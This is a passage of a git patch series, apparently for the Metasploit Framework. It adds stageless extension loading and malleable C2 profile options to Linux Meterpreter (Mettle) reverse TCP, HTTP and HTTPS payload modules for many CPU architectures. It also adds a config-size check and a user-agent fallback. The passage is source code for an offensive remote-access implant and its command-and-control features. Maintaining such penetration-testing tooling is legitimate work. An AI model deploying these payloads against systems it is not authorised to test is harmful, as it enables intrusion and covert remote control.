ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) From 7627ef1c9d67b8ec7ce4c5e7cccebf9bb4690668 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 18:13:22 +1000 Subject: [PATCH 21/26] Add stageless extension support to mettle --- lib/msf/base/sessions/mettle_config.rb | 12 ++++++++++++ lib/rex/payloads/meterpreter/config.rb | 17 ++++++++++++++--- .../linux/aarch64/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/aarch64/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/aarch64/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/armbe/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/armbe/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/armbe/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/armle/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/armle/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/armle/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/mips64/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/mips64/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/mips64/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/mipsbe/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/mipsbe/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/mipsbe/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/mipsle/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/mipsle/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/mipsle/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/x64/meterpreter_reverse_http.rb | 3 +++ .../linux/x64/meterpreter_reverse_https.rb | 3 +++ .../linux/x64/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/x86/meterpreter_reverse_http.rb | 3 +++ .../linux/x86/meterpreter_reverse_https.rb | 3 +++ .../linux/x86/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/zarch/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/zarch/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/zarch/meterpreter_reverse_tcp.rb | 6 ++++++ 29 files changed, 204 insertions(+), 3 deletions(-) diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index d14e1959a3c47..50fb6c252c4ea 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -123,12 +123,24 @@ def generate_config(opts = {}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], + extensions: opts[:extensions] || [], + ext_format: 'bin', + mettle_platform: opts[:mettle_platform], stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) config = Rex::Payloads::Meterpreter::Config.new(config_opts) opts[:config_block] = config.to_b + # Mettle reserves a fixed 8 KB slot in the binary for the config + # block. Catch the overflow here with a useful message instead of + # letting the gem's `to_binary` raise a generic "config block too + # large" — baked-in EXTENSIONS= is the usual culprit. + if opts[:config_block].length > MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX + raise ArgumentError, "Mettle config block (#{opts[:config_block].length} bytes) exceeds the #{MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX}-byte embedded slot. " \ + "Drop EXTENSIONS= and `load ` once the session is up." + end + # Keep the legacy CLI config for backward compatibility during # transition. Skipped for staged payloads, which have no transport. transport = opts[:transport_config].first diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 2f22a209c2839..c122741476603 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -129,12 +129,23 @@ def add_c2_tlv(tlv, opts) def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false) ext_name = ext_name.strip.downcase - # Windows DLLs go through Reflective DLL Injection prep; non-PE - # runtimes (jar/py/php) ship the file as-is in TLV_TYPE_DATA. - if file_extension.to_s.end_with?('.dll') + # Windows DLLs go through Reflective DLL Injection prep; mettle bins + # come per-platform from the mettle gem; jar/py/php ship as-is. + case file_extension.to_s + when /\.dll$/ ext_path = MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", file_extension, debug: debug_build) ext, _ = load_rdi_dll(ext_path) + when 'bin' + begin + ext = MetasploitPayloads::Mettle.load_extension(@opts[:mettle_platform], ext_name, 'bin') + rescue MetasploitPayloads::Mettle::NotFoundError + # Mettle bakes some extensions (e.g. stdapi) directly into the + # binary, so there's no separate .bin to ship. Silently + # skip and let the runtime use whatever's already registered. + $stderr.puts("[!] EXTENSIONS=#{ext_name}: no separate '#{ext_name}.bin' for #{@opts[:mettle_platform]} (already built in?), skipping") + return + end else ext = MetasploitPayloads.read('meterpreter', "ext_server_#{ext_name}.#{file_extension}".downcase) end diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb index 515500ccad049..74fd1e8651d6f 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb index 525aae5649b31..726171f530137 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb index 0489aa0e91f7e..fe191ee250614 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb index d68a441ca8d2e..107452889b64f 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb @@ -31,11 +31,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb index d62efaa7c8d90..f005e433536ad 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb @@ -31,11 +31,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb index 3c5b64a2c1197..294213a0295a9 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb @@ -31,11 +31,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb index 2f07f0263344b..efa6d82ded55a 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb index 01a15e099d56b..b9a596e53bc26 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb index fe08105400165..1c9317ea82fc8 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb index cd2b9b030a88c..68f47d2c4d7e4 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb index c51a456525951..b0a1d704a0778 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb index 35ec09b6e78e6..8d804e601a386 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb index c6611bb201cd8..5e61ffa702d7d 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb index f06ded9a7566e..46e31694fb515 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb index 0b14e0410b50c..17ed0cb03fb65 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb index 7baf9ae3130af..b032c080b8dec 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb index 3e71c5ad81993..e7cac7a773ac3 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb index 623101101f972..8fd0927da7368 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb index 2a9f6c3810f2a..21b08ae5910b7 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb @@ -35,6 +35,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -42,6 +43,8 @@ def generate(_opts = {}) opts = { scheme: 'http', c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb index d38ef903a2b6f..b0a2f9cf3b058 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb @@ -35,6 +35,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -42,6 +43,8 @@ def generate(_opts = {}) opts = { scheme: 'https', c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb index 072960555c151..abe8ba2b5b1c2 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb index 4f28cda163138..3d4459b35accc 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb @@ -35,6 +35,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -42,6 +43,8 @@ def generate(_opts = {}) opts = { scheme: 'http', c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb index 41964109ab16b..3c8b69fbfd6cc 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb @@ -35,6 +35,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -42,6 +43,8 @@ def generate(_opts = {}) opts = { scheme: 'https', c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb index 005aa79785691..b17403e78b789 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb index 39b5f255c0b62..cba9106427d0b 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb @@ -30,11 +30,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb index a4863f8f19c44..6d62c3c488dc8 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb @@ -30,11 +30,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb index 45a237826ce41..c64bb462d217e 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb @@ -30,11 +30,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec From 45f33dce1279968d925da7b19bf3fd8df2e53214 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 09:06:57 +1000 Subject: [PATCH 22/26] Fallback to global UA if not present in profile --- lib/rex/payloads/meterpreter/config.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index c122741476603..582258aef7bab 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -87,8 +87,12 @@ def add_c2_tlv(tlv, opts) c2_tlv = profile.to_tlv else c2_tlv = 